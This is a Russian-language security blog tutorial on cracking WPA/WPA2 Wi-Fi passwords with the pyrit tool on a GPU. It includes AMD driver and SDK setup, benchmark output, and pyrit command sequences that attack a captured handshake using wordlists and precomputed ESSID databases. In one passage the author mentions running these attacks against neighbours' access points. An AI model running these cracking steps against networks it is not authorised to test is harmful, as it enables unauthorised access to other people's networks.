Брутфорс паролей WPA/WPA2 с использованием видеокарты.

На нашем сайте мы не раз касались темы анализа уязвимости беспроводных сетей. Сегодня мы раскажем как подобрать пароль к вашей беспроводной WiFi точке с помощью метода перебора (Брутфорс). Для данной задачи мы будем использовать вычислительную мощность видеокарты. Как вы можете знать, видеокарты имеют процессор который позволяет выполнять операции с плавающей запятой намного лучше чем центральный процессор. Это подойдет как нельзя лучше для брутфорса WPAWPA2 паролей к WiFi точкам доступа. В качестве программного обеспечения для нашей задачи мы будем использовать программу pyrit.

pyrit-wpa-crackНемного о программе:
Pyrit позволяет создавать огромные базы данных, для вычислений WPA/WPA2-PSK аутентификации. Используя вычислительную мощность многоядерных и других платформ через ATI-Stream, Nvidia CUDA и OpenCL, в настоящее время, безусловно, самая мощная атака против одной из наиболее часто используемых в мире безопасности протоколов.
pyrit-network
WPA/WPA2-PSK является подмножеством стандарта IEEE 802.11 WPA/WPA2, что усложняет распределение ключей и аутентификации клиента путем присвоения каждому участвующему Pre-Shared Key. Это главный ключ получается из пароля, который пользователю необходимо предварительно настроить, например, на своем ноутбуке и точке доступа. Когда ноутбук создает соединение с точкой доступа, новый ключ сессии происходит от мастер-ключа для шифрования и аутентификации.Когда лаптоп создает соединение к точке доступа, новый ключ сессии генерируется на основе мастер-ключа чтобы зашифровать и авторизовать последующий трафик. «Экономия» на использовании единственного мастер-ключа вместо отдельных ключей для каждого пользователя упрощает развертывание WPA/WPA2 сетей в домах и мелких офисах ценой уязвимости протокола к брутфорсу фазы передачи ключа. Это позволяет полностью раскрыть пароль, который защищает сеть.

В чем профит? Сравните количество pmk/s на aircrack-ng и pyrit:

pyrit-compareРазумно заметить, что все действия проводились в ubuntu 10.04 R2 x86_64 с видеокартой Ati R6950 Twin Frozr III.
(Т.е. все справедливо для любых ubuntu-подобных систем, в частности для backtrack 5, с минимальными различиями для 32 и 64 битными системами).

[ad name=»Responbl»]

Установка
Список необходимых программ:
1. AMD driver 11.6 
2. AMD APP SDK 2.4 тырк 1 тырк 2
3. Pyrit svn checkout pyrit.googlecode.com/svn/trunk/ pyrit_svn
4. Calpp++ тырк

1.Установка драйвера:

chmod +x ati-driver-installer-11-5-x86.x86_64.run 
sudo ./ati-driver-installer-11-5-x86.x86_64.run 
sudo reboot

 2.Установка AMD APP SDK 2.4:

cp /home/user/Downloads/AMD-APP-SDK-v2.4-lnx64.tgz /home/user
cd /home/user
tar -xvzf AMD-APP-SDK-v2.4-lnx64.tgz 
sudo gedit ~/.bashrc

 Внизу этого файла добавляем следующие строки:

export AMDAPPSDKROOT
export AMDAPPSDKSAMPLESROOT
export AMDAPPSDKROOT=/home/user/AMD-APP-SDK-v2.4-lnx64
export AMDAPPSDKSAMPLESROOT=/home/user/AMD-APP-SDK-v2.4-lnx64/samples
export LD_LIBRARY_PATH=$AMDAPPSDKROOT/lib/x86:$AMDAPPSDKROOT/lib/x86_x64:$LD_LIBRARY_PATH
FIND_LIBRARY( LIB_ATICALCL aticalcl PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" )
FIND_LIBRARY( LIB_ATICALRT aticalrt PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" )
FIND_PATH( LIB_ATICAL_INCLUDE NAMES cal.h calcl.h PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/include/CAL" )

sudo cmake .
sudo make install

 ! Поменяйте /user/ на свое имя пользователя
Разумно заметить, что выше приведенный вариант работает для систем любой разрядности.

Logout

3.Регистрируем icd-registration:

tar xfz $AMDAPPSDKROOT/icd-registration.tgz
sudo cp $AMDAPPSDKROOT/etc /etc

 ВАЖНО!
В некоторых англоязычных руководствах описана установка обеих технологий, которые используют карты Ati для взаимодействия непосредственно с карточкой, это OpenCL которая морально и физически устарела для этого дела, и Calpp с библиотеками libboost, которую мы и будем использовать.

4.Установка Calpp:

sudo apt-get install libboost1.40-all-dev cmake
tar -xvzf calpp-0.90.tar.gz
cd calpp-0.90
sudo gedit CMakeLists.txt

 Исправляем FIND_LIBRARY на следующие значения:

5.Установка pyrit:

sudo apt-get install g++ python-dev zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev
svn checkout pyrit.googlecode.com/svn/trunk/ pyrit_svn
cd /pyrit_svn/pyrit
sudo python setup.py build install
cd ..
cd cpyrit_calpp
sudo python setup.py build install

 На этом установка закончена.
Проверяем правильность установки:

pyrit selftest

 Использование

1. Смотрим доступные ядра процессора/видеокарт:

pyrit list_cores

 2. Запускаем оценочный тест:

pyrit benchmark

 вывод (количество pmk/s естественно будет зависеть от вашей видеокарты):

#1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4)
#2: 'CPU-Core (SSE2)': 643.5 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9)
#5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0)

 Разумно заметить, что 1 видеокарта заменяет 1 ядро процессора, т.е. если у вас 2 и более карт, либо карта двухчиповая, то вывод будет таким:

 

#1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4)
#2: 'CAL++ Device #2 'ATI JUNIPER'': 41805.7 PMKs/s (RTT 2.6)
#3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9)
#5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0)

 Далее все приведенные действия основываются на том, у вас уже есть .cap файл с перехваченным handshake’ом (как перехватить handshake).

ВАЖНО!
В pyrit’е можно создавать целые базы прекомпилированных хешей для подбора паролей. Есть 2 варианта хранения и использования этих баз:
Вариант 1 — хранение базы в скрытой домашней папке пользователя. Я его называю мобильным, т.е. берется файл с 1 миллионом часто встречающихся паролей, после чего к нему добавляются любые essid’ы для быстрой проверки (1 миллион слов + 1 essid на моей карте это примерно минута времени). 

[ad name=»Responbl»]

Плюсы:
Файл с паролями залил 1 раз и забыл (можно заливать сколько угодно, но НЕжелательно)
Любое количество essid’ов с любыми именами
Маленькие затраты по времени

Минусы:
При использовании словарей более 20 миллионов и хотя бы 10 разных essid’ов время тратится значительно больше.

Вывод — плюсы плавно перетекают в минусы и наоборот. От себя замечу, что это идеальный вариант при наличии пробивного словаря до 1 миллиона слов, который позволит вам чекать разные .cap файлы с большой скоростью.
Пример использования:

pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -r cap-01.cap analyze
pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch
либо 
pyrit -r cap-01.cap attack_batch

Вариант 2 — хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid’ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid’ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid’ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть 🙂 подвох заключен во времени компиляции, которые естественно зависит от кол-ва паролей и essid’ов и составляет продолжительное время. 

Плюсы:
Допустим 1 база на 10 уникальных essid’ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естественно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.
Скорость
Огромная скорость
Сделал 1 базу на самые часто встречающиеся essid’ы и чекай их за минимальное время в любых!!! количествах.

Минусы:
Время компилирования
Занимает много места на жестком диске.

Вывод — сухие факты про мою базу: 850 миллионов слов, 24 essid’а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.
Естественно при меньшем кол-ве паролей и essid’ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам. 
Пример использования:

 

pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db batch
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db

Заключение
Для тех кто постоянно/проффесионально занимается подбором паролей к Wi-Fi наличие подобных программ существенно облегчает жизнь. В наше время грех не использовать все мощности своего железа, не зря же апгрейд делаем 🙂 (еще раз напомню разницу — перебор на процессоре ~3.000 pmk/s, перебор на видеокарте ~85.000 pmk/s). Пару слов про аналоги — это программа commview for wifi, сделана под винду, я ее в глаза не видел и не трогал, потому что воняет не пользуюсь виндой. Она, конечно, платная (500$ профит).

Ссылки по теме:
pyrit
aircrack-ng

Click to rate this post!
[Total: 10 Average: 3.3]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

3 comments On Брутфорс паролей WPA/WPA2 с использованием видеокарты.

Leave a reply:

Your email address will not be published.